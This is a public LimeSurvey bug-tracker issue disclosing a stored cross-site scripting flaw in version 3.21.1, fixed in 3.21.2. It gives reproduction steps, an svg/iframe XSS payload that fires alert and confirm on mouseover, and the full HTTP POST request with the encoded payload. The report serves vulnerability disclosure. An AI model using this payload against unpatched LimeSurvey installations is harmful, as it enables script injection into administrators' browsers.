View Issue Details
ID | Project | Category | View Status | Date Submitted | Last Update |
---|---|---|---|---|---|
15672 | Bug reports | LimeSurvey Website | public | 2019-12-17 21:41 | 2020-05-04 09:43 |
Reporter | misheljava | Assigned To | |||
Priority | none | Severity | partial_block | ||
Status | closed | Resolution | fixed | ||
Product Version | 3.21.1 | ||||
Fixed in Version | 3.21.2 | ||||
Summary | 15672: LimeSurvey 3.21.1 Cross Site Scripting | ||||
Description | Title: LimeSurvey 3.21.1 Cross Site Scripting (XSS) StoredDate: 16/12/2019Author: Guram JavakhishviliVendor Homepage: https://www.limesurvey.org/Software : LimeSurvey 3.21.1Product Version: 3.21.1Vulnerability Type : InjectionVulnerability : Cross Site Scripting (XSS) StoredLimeSurvey latest version 3.21.1 & LimeSurvey development version 4.0.0 suffer from reflective and persistent (Stored) cross site scripting and html injection vulnerabilities. Insufficient validation of user input on the authenticated part of the Limesurvey application exposes the application to persistent cross site scripting (XSS) vulnerabilities. | ||||
Steps To Reproduce | Instance 1: - (Stored Cross Site Scripting XSS vulnerabilities) The attacker needs the appropriate permissions in order to create new Attributes. Visit configurations > central participant database > Attributes. test<input><svg+"/onmouseover="confirm('AttDropdown');//"onload=onload>so5cx\\"onmouseover=alert('AttDropdown');//><iframe/onmouseover=alert('AttDropdown')></iframe>// Once saved, now click edit (see second image). Once the edit window opens it will be noted that the IFRAME has been created. When the attribute is being edited, e.g. by an administrative user, the JavaScript code will be executed in the browser. See third image below. | ||||
Additional Information | Vulnerable parameter: ParticipantAttributeNamesDropdown[] HTTP POST Request: POST /limesurvey3.21.1/index.php/admin/participants/sa/editAttributeName HTTP/1.1 YII_CSRF_TOKEN=eGthZG9JTGZ1d2RHcHk3bGUyT1R5X1pCOHd5Nkp5eFMG8lWciXbJNQCd-EOnoJN1jIMWEo3pj4aYbFBa-FAXIA%3D%3D&oper=edit&ParticipantAttributeName%5Battribute_id%5D=1&ParticipantAttributeName%5Bdefaultname%5D=test&ParticipantAttributeName%5Battribute_type%5D=DD&ParticipantAttributeName%5Bvisible%5D=TRUE&ParticipantAttributeNamesDropdown%5B%5D=%3Cinput%3E%3Csvg%2B%22%2Fonmouseover%3D%22confirm('AttDropdown')%3B%2F%2F%22onload%3Donload%3Eso5cx%5C%5C%5C%22onmouseover%3Dalert('AttDropdown')%3B%2F%2F%3E%3Ciframe%2Fonmouseover%3Dalert('AttDropdown')%3E%3C%2Fiframe%3E%2F%2F&ParticipantAttributeName_addLanguage_language=&ParticipantAttributeNameLanguages%5Ben%5D=&dummyParticipantAttributeNameLanguages=&dummyParticipantAttributeNamesDropdown= | ||||
Tags | No tags attached. | ||||
Attached Files | |||||
Bug heat | 6 | ||||
Complete LimeSurvey version number (& build) | limesurvey3.21.1+191210 | ||||
I will donate to the project if issue is resolved | No | ||||
Browser | Chrome & Firefox | ||||
Database type & version | DB Server version: 10.4.6-MariaDB Database client version: libmysql - mysqlnd 5.0.12-dev - 20150407 | ||||
Server OS (if known) | |||||
Webserver software & version (if known) | |||||
PHP Version | PHP version: 7.3.9 | ||||
Fix committed to master branch: http://bugs.limesurvey.org/plugin.php?page=Source/view&id=29292 |
|
Please go ahaead. |
|
Fixed in Release 4.0.0+200116 |
|
Date Modified | Username | Field | Change |
---|---|---|---|
2019-12-17 21:41 | misheljava | New Issue | |
2019-12-17 21:41 | misheljava | File Added: image.png | |
2019-12-17 21:41 | misheljava | File Added: image-2.png | |
2019-12-17 21:41 | misheljava | File Added: image-3.png | |
2019-12-19 10:44 | cdorin | Assigned To | => markusfluer |
2019-12-19 10:44 | cdorin | Status | new => assigned |
2019-12-19 16:24 |
|
Changeset attached | => LimeSurvey master 38e1ab06 |
2019-12-19 16:24 |
|
Note Added: 55094 | |
2019-12-19 16:24 |
|
Resolution | open => fixed |
2019-12-19 16:25 |
|
Status | assigned => resolved |
2019-12-19 16:25 |
|
Fixed in Version | => 3.21.2 |
2019-12-20 15:35 |
|
Note Added: 55105 | |
2020-02-03 14:53 | lime_release_bot | Note Added: 55650 | |
2020-02-03 14:53 | lime_release_bot | Status | resolved => closed |
2020-05-04 09:43 | ollehar | View Status | private => public |
2020-05-04 09:43 | ollehar | Description Updated | |
2020-05-04 09:43 | ollehar | Steps to Reproduce Updated | |
2020-05-04 09:43 | ollehar | Additional Information Updated |